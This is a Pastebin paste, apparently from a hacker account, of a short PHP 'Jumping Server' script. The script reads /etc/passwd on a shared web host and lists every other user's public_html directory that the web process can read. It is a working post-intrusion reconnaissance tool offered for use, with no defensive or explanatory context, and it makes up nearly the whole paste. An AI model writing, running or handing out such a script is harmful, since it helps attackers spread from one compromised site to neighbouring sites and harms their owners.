Advertisement
AZZATSSINS_CYBERSERK

Jumping

Apr 25th, 2016
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.92 KB | None | 0 0
  1. <?php
  2. echo '<html>
  3. <head>
  4. <title>'.getenv("HTTP_HOST").' - Jumping Server</title>
  5. </head>
  6. <body>';
  7. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
  8.  
  9. set_time_limit(0);
  10. @$passwd = fopen('/etc/passwd','r');
  11. if (!$passwd){
  12. die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
  13. }
  14. $pub = array();
  15. $users = array();
  16. $conf = array();
  17. $i = 0;
  18. while(!feof($passwd)){
  19. $str = fgets($passwd);
  20. if ($i > 100){
  21. $pos = strpos($str,':');
  22. $username = substr($str,0,$pos);
  23. $dirz = '/home/'.$username.'/public_html/';
  24. if(($username != '')){
  25. if(is_readable($dirz)){
  26. array_push($users,$username);
  27. array_push($pub,$dirz);
  28. }}
  29. }
  30. $i++;
  31. }
  32. foreach ($users as $user){
  33. echo "<font color='lime'> [+] /home/$user/public_html/</font><br/>";
  34. }
  35. echo '</body>
  36. </html>';
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement